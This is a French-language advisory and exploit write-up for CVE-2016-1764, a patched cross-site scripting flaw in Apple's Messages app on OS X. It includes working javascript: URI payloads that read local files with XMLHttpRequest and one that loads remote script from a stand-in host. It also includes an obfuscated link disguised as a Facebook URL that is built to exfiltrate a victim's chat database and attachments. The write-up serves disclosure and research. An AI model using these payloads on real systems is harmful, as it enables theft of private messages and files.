moloch--/cve-2016-1764Extraction of iMessage Data via XSS
Vendeur: Apple
Date de publication: 8 avril 2016
Date du correctif: 21 mars 2016
Systèmes affectés: Messages sur OSX Mountain Yosemite, El Capitan
Alors que la majorité des débats récents autour d'Apple se sont concentrés sur la cryptographie, l'industrie et les forces de l'ordre semblent avoir oublié que des vulnérabilités applicatives plus simples peuvent être exploitées pour contourner complètement le chiffrement. CVE-2016-1764, corrigée par Apple en mars 2016, est un bogue au niveau applicatif qui entraîne la divulgation à distance de tout le contenu des messages et pièces jointes en texte clair en exploitant le client iMessage sous OS X. De plus, vous n'avez pas besoin d'un diplôme d'études supérieures en mathématiques pour l'exploiter, ni d'une connaissance détaillée de la gestion de la mémoire, du shellcode ou des chaînes ROP contournant l'ASLR. En fait, il s'agit d'un bogue relativement simple qui peut être exploité par toute personne ayant des connaissances de base en JavaScript.
Messages (iMessage) pour OS X d'Apple implémente son interface utilisateur à l'aide d'une version embarquée de WebKit. De plus, Messages sur OS X rend toute URI comme un lien HTML <a href= cliquable. Un attaquant peut créer une simple URI JavaScript (par exemple, javascript:) qui, lorsqu'elle est cliquée, accorde à l'attaquant une exécution JavaScript initiale (XSS) dans le contexte du DOM de l'application. Bien que la bibliothèque WebKit embarquée utilisée par Messages pour OS X s'exécute dans une origine applewebdata://, un attaquant peut toujours lire des fichiers arbitraires en utilisant des requêtes GET XMLHttpRequest (XHR) vers une URI file:// car aucune politique de même origine (SOP) n'est implémentée. En abusant de XHR pour lire des fichiers, un attaquant peut télécharger l'intégralité de l'historique des discussions et des pièces jointes d'une victime vers un serveur distant aussi rapidement que la connexion Internet de la victime le permet ; la seule interaction utilisateur requise est de cliquer sur un seul lien dans la discussion. De plus, si le transfert SMS est activé, l'attaquant peut également récupérer les messages envoyés/reçus depuis l'iPhone de la victime.
Si vous voulez connaître tous les détails croustillants, lisez la suite.
Messages pour OS X utilise une version embarquée de WebKit pour une grande partie de son interface utilisateur. Lorsque des messages sont envoyés ou reçus par l'application, du HTML est inséré dans le DOM pour rendre l'interface utilisateur et tout contenu multimédia/pièce jointe envoyé. Tous les messages envoyés via l'application sont rendus dans un DOM, donc des vulnérabilités web courantes côté client peuvent affecter l'application.
Lors des tests du client Messages pour OS X, il a été constaté que des schémas de protocole arbitraires étaient automatiquement convertis en liens et insérés dans le DOM. Par exemple, les URI suivantes ci-dessous sont toutes insérées comme liens dans la WebView lorsqu'elles sont envoyées :
test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter
Comme Messages pour OS X n'implémente pas de liste blanche des protocoles acceptés, un attaquant peut envoyer un message à une victime contenant une URI JavaScript javascript:, qui sera convertie en un lien cliquable sur la machine de la victime.
Une fois cliqué, le WebKit embarqué exécutera fidèlement le JavaScript contrôlé par l'attaquant dans l'origine actuelle, par exemple :
Notez que %0a (c'est-à-dire \n) est utilisé pour échapper le commentaire JavaScript //, qui est nécessaire pour correspondre au motif de liaison de l'analyseur. Une fois le code interprété, il ressemble à :
//bishopfox.com/research?
prompt(1)
En cliquant sur ce lien, une invite JavaScript est déclenchée dans Messages pour OS X :
Cependant, Messages pour OS X est une application de bureau, pas un site web. Par conséquent, le JavaScript est exécuté dans le contexte d'une origine applewebdata:// :
Cependant, le code de l'attaquant s'exécute dans une implémentation WebKit complète, et donc XMLHttpRequest est disponible à l'exécution. L'une des principales différences entre une version embarquée de WebKit et un navigateur web comme Chrome ou Safari est que la version embarquée n'implémente aucune politique de même origine (SOP), puisqu'il s'agit d'une application de bureau native. Un attaquant peut en profiter pour lire des fichiers du système de fichiers local sans violer la politique de même origine en envoyant des requêtes GET XMLHttpRequest vers des URI file://. La seule exigence est que l'attaquant doit connaître le chemin complet du fichier ; les chemins relatifs du système de fichiers (par exemple ~/.ssh/id_rsa) ne peuvent pas être utilisés.
Par exemple, le JavaScript suivant peut être exécuté par le DOM de l'application Messages pour lire le fichier /etc/passwd :
function reqListener () {
prompt(this.responseText);
// send back to attackers server here
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();
Converti en charge utile URI, le code apparaît comme suit :
javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B
Lorsqu'il est cliqué dans l'application Messages, l'invite suivante apparaît :
Comme le vecteur ci-dessus est assez long et semble très suspect, il est possible de raccourcir l'URI en chargeant dynamiquement du JavaScript depuis un domaine et en l'incluant dans le DOM. Par exemple, le vecteur suivant injecte le JavaScript de http://example.com/1.js dans le DOM de Messages :
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
Le fichier JavaScript référencé //example.com/1.js dans le vecteur ci-dessus peut contenir des instructions JavaScript arbitraires d'une longueur arbitraire.
Cependant, le bac à sable de l'application OS X restreignait l'accès au système de fichiers uniquement à ~/Library/Messages/* et à certains autres répertoires système non utilisateur comme /etc/.
Lorsque des messages et des pièces jointes sont reçus par Messages sur OS X, ils sont enregistrés dans le répertoire suivant :
/Users/<username>/Library/Messages/*
Le contenu textuel de ces messages et d'autres métadonnées sont stockés dans une base de données SQLite située à :
/Users/<username>/Library/Messages/chat.db
Cette base de données contient également les emplacements de toutes les pièces jointes situées sur la machine de l'utilisateur.
Afin de voler cette base de données, et par la suite toutes les pièces jointes jamais reçues ou envoyées par une victime, une charge utile d'attaque plus avancée est nécessaire.
Les étapes suivantes doivent être effectuées avant que les données puissent être exfiltrées avec succès par un attaquant :
~ ne peut pas être utilisé)chat.db, c'est-à-dire /Users/ExampleUser/Library/Messages/chat.dbXMLHttpRequest pour lire la base de données chat.db et interroger celle-ci pour obtenir les chemins des fichiers des pièces jointesXMLHttpRequest ou WebSockets si vous souhaitez un accès en temps réel.Nous pouvons déterminer l'utilisateur actuellement connecté en demandant, puis en analysant /Library/Preferences/com.apple.loginwindow.plist. Ce fichier est commodément lisible depuis le bac à sable de l'application OS X. À partir de là, il est trivial de construire le chemin complet vers le chat.db de l'utilisateur.
Une fois que le fichier de base de données a été exfiltré avec succès, il peut être passé à un script côté serveur personnalisé qui extrait les chemins complets des pièces jointes envoyées et reçues par la victime, trouvés dans la table attachments de la base de données.
Ces chemins complets sont récupérés par la charge utile JavaScript malveillante, puis sont utilisés pour exfiltrer les fichiers de pièces jointes de la machine de la victime via XMLHttpRequest.
Ensuite, l'attaquant fait un peu d'obscurcissement pour rendre l'URL un peu plus crédible :
javascript://www.facebook.com/photo.php?fbid=111789595853599&set=a.111055039260388.1073741826.100010676767694&type=3&theater%0A%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fyourhostname%3A8888%2ff%2fpayload.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
Si la victime devait cliquer sur l'URI ci-dessus dans l'application Messages pour OS X, tout l'historique des discussions de la victime et toutes les pièces jointes associées seront envoyés à l'attaquant.
Les failles de sécurité des applications Web ne sont plus limitées au seul navigateur, mais ont également trouvé leur chemin dans les applications natives. Bien qu'il puisse être productif pour les développeurs d'utiliser des technologies Web telles que WebKit, ou son parent bien plus dangereux nw.js, pour créer des applications de bureau, les bonnes pratiques de sécurité des applications Web doivent toujours être suivies.